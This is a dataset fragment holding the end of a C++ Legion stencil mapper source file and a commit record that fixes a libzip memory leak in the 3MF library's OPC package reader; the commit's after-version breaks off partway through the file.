\/\/ If it's restricted, just take the instance. This will only\n      \/\/ happen inside the shard task.\n      output.dst_instances[idx] = input.dst_instances[idx];\n      if (!output.dst_instances[idx].empty())\n        runtime->acquire_and_filter_instances(ctx,\n                                output.dst_instances[idx]);\n    }\n  }\n}\n\n\/\/--------------------------------------------------------------------------\ntemplate<bool IS_SRC>\nvoid StencilMapper::stencil_create_copy_instance(MapperContext ctx,\n                     const Copy &copy, const RegionRequirement &req, \n                     unsigned idx, std::vector<PhysicalInstance> &instances)\n\/\/--------------------------------------------------------------------------\n{\n  \/\/ This method is identical to the default version except that it\n  \/\/ chooses an intelligent memory based on the destination of the\n  \/\/ copy.\n\n  \/\/ See if we have all the fields covered\n  std::set<FieldID> missing_fields = req.privilege_fields;\n  for (std::vector<PhysicalInstance>::const_iterator it = \n        instances.begin(); it != instances.end(); it++)\n  {\n    it->remove_space_fields(missing_fields);\n    if (missing_fields.empty())\n      break;\n  }\n  if (missing_fields.empty())\n    return;\n  \/\/ If we still have fields, we need to make an instance\n  \/\/ We clearly need to take a guess, let's see if we can find\n  \/\/ one of our instances to use.\n\n  \/\/ ELLIOTT: Get the remote node here.\n  Color index = runtime->get_logical_region_color(ctx, copy.src_requirements[idx].region);\n  Memory target_memory = default_policy_select_target_memory(ctx,\n                           procs_list[index % procs_list.size()]);\n  log_stencil.warning(\"Building instance for copy of a region with index %u to be in memory %llx\",\n                      index, target_memory.id);\n  bool force_new_instances = false;\n  LayoutConstraintID our_layout_id = \n   default_policy_select_layout_constraints(ctx, target_memory, \n                                            req, COPY_MAPPING,\n                                            true\/*needs check*\/, \n                                            force_new_instances);\n  LayoutConstraintSet creation_constraints = \n              runtime->find_layout_constraints(ctx, our_layout_id);\n  creation_constraints.add_constraint(\n      FieldConstraint(missing_fields,\n                      false\/*contig*\/, false\/*inorder*\/));\n  instances.resize(instances.size() + 1);\n  if (!default_make_instance(ctx, target_memory, \n        creation_constraints, instances.back(), \n        COPY_MAPPING, force_new_instances, true\/*meets*\/, req))\n  {\n    \/\/ If we failed to make it that is bad\n    log_stencil.error(\"Stencil mapper failed allocation for \"\n                   \"%s region requirement %d of explicit \"\n                   \"region-to-region copy operation in task %s \"\n                   \"(ID %lld) in memory \" IDFMT \" for processor \"\n                   IDFMT \". This means the working set of your \"\n                   \"application is too big for the allotted \"\n                   \"capacity of the given memory under the default \"\n                   \"mapper's mapping scheme. You have three \"\n                   \"choices: ask Realm to allocate more memory, \"\n                   \"write a custom mapper to better manage working \"\n                   \"sets, or find a bigger machine. Good luck!\",\n                   IS_SRC ? \"source\" : \"destination\", idx, \n                   copy.parent_task->get_task_name(),\n                   copy.parent_task->get_unique_id(),\n\t\t       target_memory.id,\n\t\t       copy.parent_task->current_proc.id);\n    assert(false);\n  }\n}\n\nstatic void create_mappers(Machine machine, HighLevelRuntime *runtime, const std::set<Processor> &local_procs)\n{\n  std::vector<Processor>* procs_list = new std::vector<Processor>();\n  std::vector<Memory>* sysmems_list = new std::vector<Memory>();\n  std::map<Memory, std::vector<Processor> >* sysmem_local_procs =\n    new std::map<Memory, std::vector<Processor> >();\n#if SPMD_SHARD_USE_IO_PROC\n  std::map<Memory, std::vector<Processor> >* sysmem_local_io_procs =\n    new std::map<Memory, std::vector<Processor> >();\n#endif\n  std::map<Processor, Memory>* proc_sysmems = new std::map<Processor, Memory>();\n  std::map<Processor, Memory>* proc_regmems = new std::map<Processor, Memory>();\n\n\n  std::vector<Machine::ProcessorMemoryAffinity> proc_mem_affinities;\n  machine.get_proc_mem_affinity(proc_mem_affinities);\n\n  for (unsigned idx = 0; idx < proc_mem_affinities.size(); ++idx) {\n    Machine::ProcessorMemoryAffinity& affinity = proc_mem_affinities[idx];\n    if (affinity.p.kind() == Processor::LOC_PROC) {\n      if (affinity.m.kind() == Memory::SYSTEM_MEM) {\n        (*proc_sysmems)[affinity.p] = affinity.m;\n        if (proc_regmems->find(affinity.p) == proc_regmems->end())\n          (*proc_regmems)[affinity.p] = affinity.m;\n      }\n      else if (affinity.m.kind() == Memory::REGDMA_MEM)\n        (*proc_regmems)[affinity.p] = affinity.m;\n    }\n  }\n\n  for (std::map<Processor, Memory>::iterator it = proc_sysmems->begin();\n       it != proc_sysmems->end(); ++it) {\n    if (it->first.kind() == Processor::LOC_PROC) {\n      procs_list->push_back(it->first);\n      (*sysmem_local_procs)[it->second].push_back(it->first);\n    }\n#if SPMD_SHARD_USE_IO_PROC\n    else if (it->first.kind() == Processor::IO_PROC) {\n      (*sysmem_local_io_procs)[it->second].push_back(it->first);\n    }\n#endif\n  }\n\n  for (std::map<Memory, std::vector<Processor> >::iterator it =\n        sysmem_local_procs->begin(); it != sysmem_local_procs->end(); ++it)\n    sysmems_list->push_back(it->first);\n\n  for (std::set<Processor>::const_iterator it = local_procs.begin();\n        it != local_procs.end(); it++)\n  {\n    StencilMapper* mapper = new StencilMapper(runtime->get_mapper_runtime(),\n                                              machine, *it, \"stencil_mapper\",\n                                              procs_list,\n                                              sysmems_list,\n                                              sysmem_local_procs,\n#if SPMD_SHARD_USE_IO_PROC\n                                              sysmem_local_io_procs,\n#endif\n                                              proc_sysmems,\n                                              proc_regmems);\n    runtime->replace_default_mapper(mapper, *it);\n  }\n}\n\nvoid register_mappers()\n{\n  HighLevelRuntime::add_registration_callback(create_mappers);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*++\n\nCopyright (C) 2019 3MF Consortium\n\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this\nlist of conditions and the following disclaimer.\n2. Redistributions in binary form must reproduce the above copyright notice,\nthis list of conditions and the following disclaimer in the documentation\nand\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n\tON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nAbstract:\n\nNMR_OpcPackageReader.cpp defines an OPC Package reader in a portable way.\n\n--*\/\n\n#include \"Common\/OPC\/NMR_OpcPackageReader.h\" \n#include \"Common\/OPC\/NMR_OpcPackageRelationshipReader.h\" \n#include \"Common\/OPC\/NMR_OpcPackageContentTypesReader.h\" \n#include \"Common\/Platform\/NMR_ImportStream_ZIP.h\" \n#include \"Common\/NMR_Exception.h\" \n#include \"Common\/NMR_StringUtils.h\" \n\n#include \"Model\/Classes\/NMR_ModelConstants.h\"\n\n#include <iostream>\n\nnamespace NMR {\n\t\n\t\/\/ custom callbck function for reading from a CImportStream on the fly\n\tzip_int64_t custom_zip_source_callback(void *userData, void *data, zip_uint64_t len, zip_source_cmd_t cmd) {\n\t\tif (userData == nullptr)\n\t\t\tthrow CNMRException(NMR_ERROR_INVALIDPARAM);\n\n\t\tCImportStream* pImportStream = (CImportStream*)(userData);\n\n\t\tswitch (cmd) {\n\t\t\tcase ZIP_SOURCE_SUPPORTS:\n\t\t\t\tzip_int64_t bitmap;\n\t\t\t\tbitmap = zip_source_make_command_bitmap(ZIP_SOURCE_OPEN, ZIP_SOURCE_READ, ZIP_SOURCE_CLOSE,\n\t\t\t\t\tZIP_SOURCE_STAT, ZIP_SOURCE_ERROR, ZIP_SOURCE_SEEK, ZIP_SOURCE_TELL, ZIP_SOURCE_SUPPORTS, -1);\n\t\t\t\treturn bitmap;\n\n\t\t\tcase ZIP_SOURCE_SEEK:\n\t\t\t\tzip_source_args_seek argsSeek;\n\t\t\t\targsSeek = * ((zip_source_args_seek *)data);\n\t\t\t\tif (argsSeek.whence == SEEK_SET)\n\t\t\t\t\tpImportStream->seekPosition(argsSeek.offset, true);\n\t\t\t\telse if (argsSeek.whence == SEEK_CUR) {\n\t\t\t\t\tpImportStream->seekPosition(pImportStream->getPosition() + argsSeek.offset, true);\n\t\t\t\t}\n\t\t\t\telse if (argsSeek.whence == SEEK_END) {\n\t\t\t\t\tif (argsSeek.offset > 0)\n\t\t\t\t\t\tthrow CNMRException(NMR_ERROR_ZIPCALLBACK);\n\t\t\t\t\tpImportStream->seekFromEnd(-argsSeek.offset, true);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tthrow CNMRException(NMR_ERROR_ZIPCALLBACK);\n\t\t\t\treturn 0;\n\n\t\t\tcase ZIP_SOURCE_OPEN:\n\t\t\t\treturn 0;\n\n\t\t\tcase ZIP_SOURCE_READ:\n\t\t\t\treturn pImportStream->readBuffer((nfByte*)data, len, true);\n\n\t\t\tcase ZIP_SOURCE_CLOSE:\n\t\t\t\treturn 0;\n\n\t\t\tcase ZIP_SOURCE_TELL:\n\t\t\t\treturn pImportStream->getPosition();\n\n\t\t\tcase ZIP_SOURCE_STAT:\n\t\t\t\tzip_stat_t* zipStat;\n\t\t\t\tzipStat  = (zip_stat_t*)data;\n\t\t\t\tzip_stat_init(zipStat);\n\t\t\t\tzipStat->size = pImportStream->retrieveSize();\n\t\t\t\tzipStat->valid |= ZIP_STAT_SIZE;\n\t\t\t\treturn sizeof(zip_stat_t);\n\n\t\t\tdefault:\n\t\t\t\tthrow CNMRException(NMR_ERROR_ZIPCALLBACK);\n\t\t}\n\t\treturn -1;\n\t}\n\n\tCOpcPackageReader::COpcPackageReader(_In_ PImportStream pImportStream, _In_ PModelReaderWarnings pWarnings, _In_ PProgressMonitor pProgressMonitor)\n\t\t: m_pWarnings(pWarnings), m_pProgressMonitor(pProgressMonitor)\n\t{\n\t\tif (!pImportStream)\n\t\t\tthrow CNMRException(NMR_ERROR_INVALIDPARAM);\n\n\t\tif (!pProgressMonitor)\n\t\t\tthrow CNMRException(NMR_ERROR_INVALIDPARAM);\n\n\t\tm_ZIPError.str = nullptr;\n\t\tm_ZIPError.sys_err = 0;\n\t\tm_ZIPError.zip_err = 0;\n\t\tm_ZIParchive = nullptr;\n\t\tm_ZIPsource = nullptr;\n\n\t\ttry {\n\t\t\t\/\/ determine stream size\n\t\t\tnfUint64 nStreamSize = pImportStream->retrieveSize();\n\t\t\tpImportStream->seekPosition(0, true);\n\n\t\t\tif (nStreamSize == 0)\n\t\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTGETSTREAMPOSITION);\n\n\t\t\t\/\/ create ZIP objects\n\t\t\tzip_error_init(&m_ZIPError);\n\n\t\t\tbool bUseCallback = true;\n\t\t\tif (bUseCallback) {\n\t\t\t\t\/\/ read ZIP from callback: faster and requires less memory\n\t\t\t\tm_ZIPsource = zip_source_function_create(custom_zip_source_callback, pImportStream.get(), &m_ZIPError);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t\/\/ read ZIP into memory\n\t\t\t\tm_Buffer.resize((size_t)nStreamSize);\n\t\t\t\tpImportStream->readBuffer(&m_Buffer[0], nStreamSize, true);\n\t\t\t\tm_ZIPsource = zip_source_buffer_create(&m_Buffer[0], (size_t)nStreamSize, 0, &m_ZIPError);\n\t\t\t}\n\t\t\tif (m_ZIPsource == nullptr)\n\t\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTREADZIPFILE);\n\n\t\t\tm_ZIParchive = zip_open_from_source(m_ZIPsource, ZIP_RDONLY | ZIP_CHECKCONS, &m_ZIPError);\n\t\t\tif (m_ZIParchive == nullptr) {\n\t\t\t\tm_ZIParchive = zip_open_from_source(m_ZIPsource, ZIP_RDONLY, &m_ZIPError);\n\t\t\t\tif (m_ZIParchive == nullptr)\n\t\t\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTREADZIPFILE);\n\t\t\t\telse\n\t\t\t\t\tm_pWarnings->addException(CNMRException(NMR_ERROR_ZIPCONTAINSINCONSISTENCIES), mrwInvalidMandatoryValue);\n\t\t\t}\n\n\t\t\t\/\/ Get ZIP Content\n\t\t\tnfInt64 nEntryCount = zip_get_num_entries(m_ZIParchive, ZIP_FL_UNCHANGED);\n\t\t\tif (nEntryCount < 0)\n\t\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTREADZIPFILE);\n\n\t\t\t\/\/ List and stat Entries\n\t\t\tnfUint64 nUnzippedFileSize = 0;\n\t\t\tfor (nfInt64 nIndex = 0; nIndex < nEntryCount; nIndex++) {\n\t\t\t\tconst char * pszName = zip_get_name(m_ZIParchive, (nfUint64) nIndex, ZIP_FL_ENC_GUESS);\n\t\t\t\tm_ZIPEntries.insert(std::make_pair(pszName, nIndex));\n\n\t\t\t\tzip_stat_t Stat;\n\t\t\t\tnfInt32 nResult = zip_stat_index(m_ZIParchive, nIndex, ZIP_FL_UNCHANGED, &Stat);\n\t\t\t\tif (nResult != 0)\n\t\t\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTSTATZIPENTRY);\n\n\t\t\t\tnUnzippedFileSize += Stat.size;\n\t\t\t}\n\n\t\t\tm_pProgressMonitor->SetMaxProgress(double(nUnzippedFileSize));\n\t\t\tm_pProgressMonitor->ReportProgressAndQueryCancelled(true);\n\n\t\t\treadContentTypes();\n\t\t\treadRootRelationships();\n\t\t}\n\t\tcatch (...)\n\t\t{\n\t\t\treleaseZIP();\n\t\t\tthrow;\n\t\t}\n\t}\n\n\tCOpcPackageReader::~COpcPackageReader()\n\t{\n\t\treleaseZIP();\n\t}\n\n\t_Ret_maybenull_ COpcPackageRelationship * COpcPackageReader::findRootRelation(_In_ std::string sRelationType, _In_ nfBool bMustBeUnique)\n\t{\n\t\tCOpcPackageRelationship * pResultRelationship = nullptr;\n\t\tauto iIterator = m_RootRelationships.begin();\n\t\twhile (iIterator != m_RootRelationships.end()) {\n\t\t\tPOpcPackageRelationship pRelationship = *iIterator;\n\n\t\t\tstd::string sType = pRelationship->getType();\n\t\t\tif (sType == sRelationType) {\n\t\t\t\tif (pResultRelationship == nullptr) {\n\t\t\t\t\tpResultRelationship = pRelationship.get();\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tif (bMustBeUnique)\n\t\t\t\t\t\tm_pWarnings->addException(CNMRException(NMR_ERROR_OPCRELATIONSHIPNOTUNIQUE), eModelReaderWarningLevel::mrwInvalidOptionalValue);\n\t\t\t\t}\n\n\t\t\t}\n\t\t\tiIterator++;\n\t\t}\n\n\t\treturn pResultRelationship;\n\t}\n\n\tvoid COpcPackageReader::releaseZIP()\n\t{\n\t\tif (m_ZIParchive != nullptr)\n\t\t\tzip_close(m_ZIParchive);\n\n\t\tif (m_ZIPsource != nullptr)\n\t\t\tzip_source_close(m_ZIPsource);\n\n\t\tzip_error_fini(&m_ZIPError);\n\t\tm_Buffer.resize(0);\n\n\t\tm_ZIPsource = nullptr;\n\t\tm_ZIParchive = nullptr;\n\t}\n\n\tPImportStream COpcPackageReader::openZIPEntry(_In_ std::string sName)\n\t{\n\t\tauto iIterator = m_ZIPEntries.find(sName);\n\t\tif (iIterator == m_ZIPEntries.end()) {\n\t\t\treturn nullptr;\n\t\t}\n\n\t\treturn openZIPEntryIndexed(iIterator->second);\n\t}\n\n\tPImportStream COpcPackageReader::openZIPEntryIndexed(_In_ nfUint64 nIndex)\n\t{\n\t\tzip_stat_t Stat;\n\t\tnfInt32 nResult = zip_stat_index(m_ZIParchive, nIndex, ZIP_FL_UNCHANGED, &Stat);\n\t\tif (nResult != 0)\n\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTSTATZIPENTRY);\n\n\t\tnfUint64 nSize = Stat.size;\n\n\t\tzip_file_t * pFile = zip_fopen_index(m_ZIParchive, nIndex, ZIP_FL_UNCHANGED);\n\t\tif (pFile == nullptr)\n\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTOPENZIPENTRY);\n\n\t\treturn std::make_shared<CImportStream_ZIP>(pFile, nSize);\n\t}\n\n\n\tvoid COpcPackageReader::readContentTypes()\n\t{\n\t\tPImportStream pContentStream = openZIPEntry(OPCPACKAGE_PATH_CONTENTTYPES);\n\n\t\tPOpcPackageContentTypesReader pReader = std::make_shared<COpcPackageContentTypesReader>(pContentStream, m_pProgressMonitor);\n\n\t\tnfUint32 nCount = pReader->getCount();\n\t\tnfUint32 nIndex;\n\n\t\tstd::string modelExtension = \"\";\n\t\tstd::string modelPart = \"\";\n\t\tm_relationShipExtension = \"\";\n\t\tfor (nIndex = 0; nIndex < nCount; nIndex++) {\n\t\t\tPOpcPackageContentType pContentType = pReader->getContentType(nIndex);\n\t\t\tif (pContentType->m_contentType == PACKAGE_3D_RELS_CONTENT_TYPE) {\n\t\t\t\tm_relationShipExtension = pContentType->m_extension;\n\t\t\t}\n\t\t\tif (pContentType->m_contentType == PACKAGE_3D_MODEL_CONTENT_TYPE) {\n\t\t\t\tmodelExtension = pContentType->m_extension;\n\t\t\t}\n\t\t}\n\t\tif (m_relationShipExtension.empty())\n\t\t\tthrow CNMRException(NMR_ERROR_OPC_MISSING_EXTENSION_FOR_RELATIONSHIP);\n\n\t\tnCount = pReader->getOverrideCount();\n\t\tfor (nIndex = 0; nIndex < nCount; nIndex++) {\n\t\t\tPOpcPackageContentType_Override pOverrideContentType = pReader->getOverrideContentType(nIndex);\n\t\t\tif (pOverrideContentType->m_contentType == PACKAGE_3D_MODEL_CONTENT_TYPE) {\n\t\t\t\tmodelPart = pOverrideContentType->m_partName;\n\t\t\t}\n\t\t}\n\n\t\tif (modelExtension.empty() && modelPart.empty())\n\t\t\tthrow CNMRException(NMR_ERROR_OPC_MISSING_EXTENSION_FOR_MODEL);\n\t}\n\n\tvoid COpcPackageReader::readRootRelationships()\n\t{\n\t\tPImportStream pRelStream = openZIPEntry(OPCPACKAGE_PATH_ROOTRELATIONSHIPS);\n\n\t\tPOpcPackageRelationshipReader pReader = std::make_shared<COpcPackageRelationshipReader>(pRelStream, m_pProgressMonitor);\n\n\t\tnfUint32 nCount = pReader->getCount();\n\t\tnfUint32 nIndex;\n\n\t\tfor (nIndex = 0; nIndex < nCount; nIndex++) {\n\t\t\tm_RootRelationships.push_back(pReader->getRelationShip(nIndex));\n\t\t}\n\t}\n\n\tnfUint64 COpcPackageReader::GetPartSize(_In_ std::string sPath)\n\t{\n\t\tstd::string sRealPath = fnRemoveLeadingPathDelimiter(sPath);\n\t\tauto iIterator = m_ZIPEntries.find(sRealPath);\n\t\tif (iIterator == m_ZIPEntries.end()) {\n\t\t\treturn 0;\n\t\t}\n\n\t\tzip_stat_t Stat;\n\t\tnfInt32 nResult = zip_stat_index(m_ZIParchive, iIterator->second, ZIP_FL_UNCHANGED, &Stat);\n\t\tif (nResult != 0)\n\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTSTATZIPENTRY);\n\n\t\treturn Stat.size;\n\t}\n\n\tPOpcPackagePart COpcPackageReader::createPart(_In_ std::string sPath)\n\t{\n\t\tstd::string sRealPath = fnRemoveLeadingPathDelimiter (sPath);\n\t\tauto iPartIterator = m_Parts.find(sRealPath);\n\t\tif (iPartIterator != m_Parts.end()) {\n\t\t\treturn iPartIterator->second;\n\t\t}\n\t\t\n\t\tPImportStream pStream = openZIPEntry(sRealPath);\n\t\tif (pStream.get() == nullptr)\n\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTCREATEOPCPART);\n\n\t\tPOpcPackagePart pPart = std::make_shared<COpcPackagePart>(sRealPath, pStream);\n\t\tm_Parts.insert(std::make_pair(sRealPath, pPart));\n\n\t\tstd::string sRelationShipName = fnExtractFileName(sRealPath);\n\t\tstd::string sRelationShipPath = sRealPath.substr(0, sRealPath.length() - sRelationShipName.length());\n\t\tsRelationShipPath += \"_rels\/\";\n\t\tsRelationShipPath += sRelationShipName;\n\t\tsRelationShipPath += \".\"+m_relationShipExtension;\n\n\t\tPImportStream pRelStream = openZIPEntry(sRelationShipPath);\n\n\t\tif (pRelStream.get() != nullptr) {\n\t\t\tPOpcPackageRelationshipReader pReader = std::make_shared<COpcPackageRelationshipReader>(pRelStream, m_pProgressMonitor);\n\n\t\t\tnfUint32 nCount = pReader->getCount();\n\t\t\tnfUint32 nIndex;\n\n\t\t\tfor (nIndex = 0; nIndex < nCount; nIndex++) {\n\t\t\t\tPOpcPackageRelationship pRelationShip = pReader->getRelationShip(nIndex);\n\t\t\t\tpPart->addRelationship(pRelationShip->getID(), pRelationShip->getType(), pRelationShip->getTargetPartURI());\n\t\t\t}\n\t\t}\n\n\t\treturn pPart;\n\t}\n\n\n}\n<commit_msg>Fix memory leak in libzip when reading files<commit_after>\/*++\n\nCopyright (C) 2019 3MF Consortium\n\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this\nlist of conditions and the following disclaimer.\n2. Redistributions in binary form must reproduce the above copyright notice,\nthis list of conditions and the following disclaimer in the documentation\nand\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n\tON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nAbstract:\n\nNMR_OpcPackageReader.cpp defines an OPC Package reader in a portable way.\n\n--*\/\n\n#include \"Common\/OPC\/NMR_OpcPackageReader.h\" \n#include \"Common\/OPC\/NMR_OpcPackageRelationshipReader.h\" \n#include \"Common\/OPC\/NMR_OpcPackageContentTypesReader.h\" \n#include \"Common\/Platform\/NMR_ImportStream_ZIP.h\" \n#include \"Common\/NMR_Exception.h\" \n#include \"Common\/NMR_StringUtils.h\" \n\n#include \"Model\/Classes\/NMR_ModelConstants.h\"\n\n#include <iostream>\n\nnamespace NMR {\n\t\n\t\/\/ custom callbck function for reading from a CImportStream on the fly\n\tzip_int64_t custom_zip_source_callback(void *userData, void *data, zip_uint64_t len, zip_source_cmd_t cmd) {\n\t\tif (userData == nullptr)\n\t\t\tthrow CNMRException(NMR_ERROR_INVALIDPARAM);\n\n\t\tCImportStream* pImportStream = (CImportStream*)(userData);\n\n\t\tswitch (cmd) {\n\t\t\tcase ZIP_SOURCE_SUPPORTS:\n\t\t\t\tzip_int64_t bitmap;\n\t\t\t\tbitmap = zip_source_make_command_bitmap(ZIP_SOURCE_OPEN, ZIP_SOURCE_READ, ZIP_SOURCE_CLOSE,\n\t\t\t\t\tZIP_SOURCE_STAT, ZIP_SOURCE_ERROR, ZIP_SOURCE_FREE, ZIP_SOURCE_SEEK, ZIP_SOURCE_TELL, ZIP_SOURCE_SUPPORTS, -1);\n\t\t\t\treturn bitmap;\n\n\t\t\tcase ZIP_SOURCE_SEEK:\n\t\t\t\tzip_source_args_seek argsSeek;\n\t\t\t\targsSeek = * ((zip_source_args_seek *)data);\n\t\t\t\tif (argsSeek.whence == SEEK_SET)\n\t\t\t\t\tpImportStream->seekPosition(argsSeek.offset, true);\n\t\t\t\telse if (argsSeek.whence == SEEK_CUR) {\n\t\t\t\t\tpImportStream->seekPosition(pImportStream->getPosition() + argsSeek.offset, true);\n\t\t\t\t}\n\t\t\t\telse if (argsSeek.whence == SEEK_END) {\n\t\t\t\t\tif (argsSeek.offset > 0)\n\t\t\t\t\t\tthrow CNMRException(NMR_ERROR_ZIPCALLBACK);\n\t\t\t\t\tpImportStream->seekFromEnd(-argsSeek.offset, true);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tthrow CNMRException(NMR_ERROR_ZIPCALLBACK);\n\t\t\t\treturn 0;\n\n\t\t\tcase ZIP_SOURCE_OPEN:\n\t\t\t\treturn 0;\n\n\t\t\tcase ZIP_SOURCE_READ:\n\t\t\t\treturn pImportStream->readBuffer((nfByte*)data, len, true);\n\n\t\t\tcase ZIP_SOURCE_CLOSE:\n\t\t\t\treturn 0;\n\n\t\t\tcase ZIP_SOURCE_TELL:\n\t\t\t\treturn pImportStream->getPosition();\n\n\t\t\tcase ZIP_SOURCE_STAT:\n\t\t\t\tzip_stat_t* zipStat;\n\t\t\t\tzipStat  = (zip_stat_t*)data;\n\t\t\t\tzip_stat_init(zipStat);\n\t\t\t\tzipStat->size = pImportStream->retrieveSize();\n\t\t\t\tzipStat->valid |= ZIP_STAT_SIZE;\n\t\t\t\treturn sizeof(zip_stat_t);\n\n\t\t\tcase ZIP_SOURCE_FREE:\n\t\t\t\treturn 0;\n\n\t\t\tdefault:\n\t\t\t\tthrow CNMRException(NMR_ERROR_ZIPCALLBACK);\n\t\t}\n\t\treturn -1;\n\t}\n\n\tCOpcPackageReader::COpcPackageReader(_In_ PImportStream pImportStream, _In_ PModelReaderWarnings pWarnings, _In_ PProgressMonitor pProgressMonitor)\n\t\t: m_pWarnings(pWarnings), m_pProgressMonitor(pProgressMonitor)\n\t{\n\t\tif (!pImportStream)\n\t\t\tthrow CNMRException(NMR_ERROR_INVALIDPARAM);\n\n\t\tif (!pProgressMonitor)\n\t\t\tthrow CNMRException(NMR_ERROR_INVALIDPARAM);\n\n\t\tm_ZIPError.str = nullptr;\n\t\tm_ZIPError.sys_err = 0;\n\t\tm_ZIPError.zip_err = 0;\n\t\tm_ZIParchive = nullptr;\n\t\tm_ZIPsource = nullptr;\n\n\t\ttry {\n\t\t\t\/\/ determine stream size\n\t\t\tnfUint64 nStreamSize = pImportStream->retrieveSize();\n\t\t\tpImportStream->seekPosition(0, true);\n\n\t\t\tif (nStreamSize == 0)\n\t\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTGETSTREAMPOSITION);\n\n\t\t\t\/\/ create ZIP objects\n\t\t\tzip_error_init(&m_ZIPError);\n\n\t\t\tbool bUseCallback = true;\n\t\t\tif (bUseCallback) {\n\t\t\t\t\/\/ read ZIP from callback: faster and requires less memory\n\t\t\t\tm_ZIPsource = zip_source_function_create(custom_zip_source_callback, pImportStream.get(), &m_ZIPError);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t\/\/ read ZIP into memory\n\t\t\t\tm_Buffer.resize((size_t)nStreamSize);\n\t\t\t\tpImportStream->readBuffer(&m_Buffer[0], nStreamSize, true);\n\t\t\t\tm_ZIPsource = zip_source_buffer_create(&m_Buffer[0], (size_t)nStreamSize, 0, &m_ZIPError);\n\t\t\t}\n\t\t\tif (m_ZIPsource == nullptr)\n\t\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTREADZIPFILE);\n\n\t\t\tm_ZIParchive = zip_open_from_source(m_ZIPsource, ZIP_RDONLY | ZIP_CHECKCONS, &m_ZIPError);\n\t\t\tif (m_ZIParchive == nullptr) {\n\t\t\t\tm_ZIParchive = zip_open_from_source(m_ZIPsource, ZIP_RDONLY, &m_ZIPError);\n\t\t\t\tif (m_ZIParchive == nullptr)\n\t\t\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTREADZIPFILE);\n\t\t\t\telse\n\t\t\t\t\tm_pWarnings->addException(CNMRException(NMR_ERROR_ZIPCONTAINSINCONSISTENCIES), mrwInvalidMandatoryValue);\n\t\t\t}\n\n\t\t\t\/\/ Get ZIP Content\n\t\t\tnfInt64 nEntryCount = zip_get_num_entries(m_ZIParchive, ZIP_FL_UNCHANGED);\n\t\t\tif (nEntryCount < 0)\n\t\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTREADZIPFILE);\n\n\t\t\t\/\/ List and stat Entries\n\t\t\tnfUint64 nUnzippedFileSize = 0;\n\t\t\tfor (nfInt64 nIndex = 0; nIndex < nEntryCount; nIndex++) {\n\t\t\t\tconst char * pszName = zip_get_name(m_ZIParchive, (nfUint64) nIndex, ZIP_FL_ENC_GUESS);\n\t\t\t\tm_ZIPEntries.insert(std::make_pair(pszName, nIndex));\n\n\t\t\t\tzip_stat_t Stat;\n\t\t\t\tnfInt32 nResult = zip_stat_index(m_ZIParchive, nIndex, ZIP_FL_UNCHANGED, &Stat);\n\t\t\t\tif (nResult != 0)\n\t\t\t\t\tthrow CNMRException(NMR_ERROR_COULDNOTSTATZIPENTRY);\n\n\t\t\t\tnUnzippedFileSize += Stat.size;\n\t\t\t}\n\n\t\t\tm_pProgressMonitor->SetMaxProgress(double(nUnzippedFileSize));\n\t\t\tm_pProgressMonitor->ReportProgressAndQueryCancelled(true);\n\n\t\t\treadContentTypes();\n\t\t\treadRootRelationships();\n\t\t}\n\t\tcatch 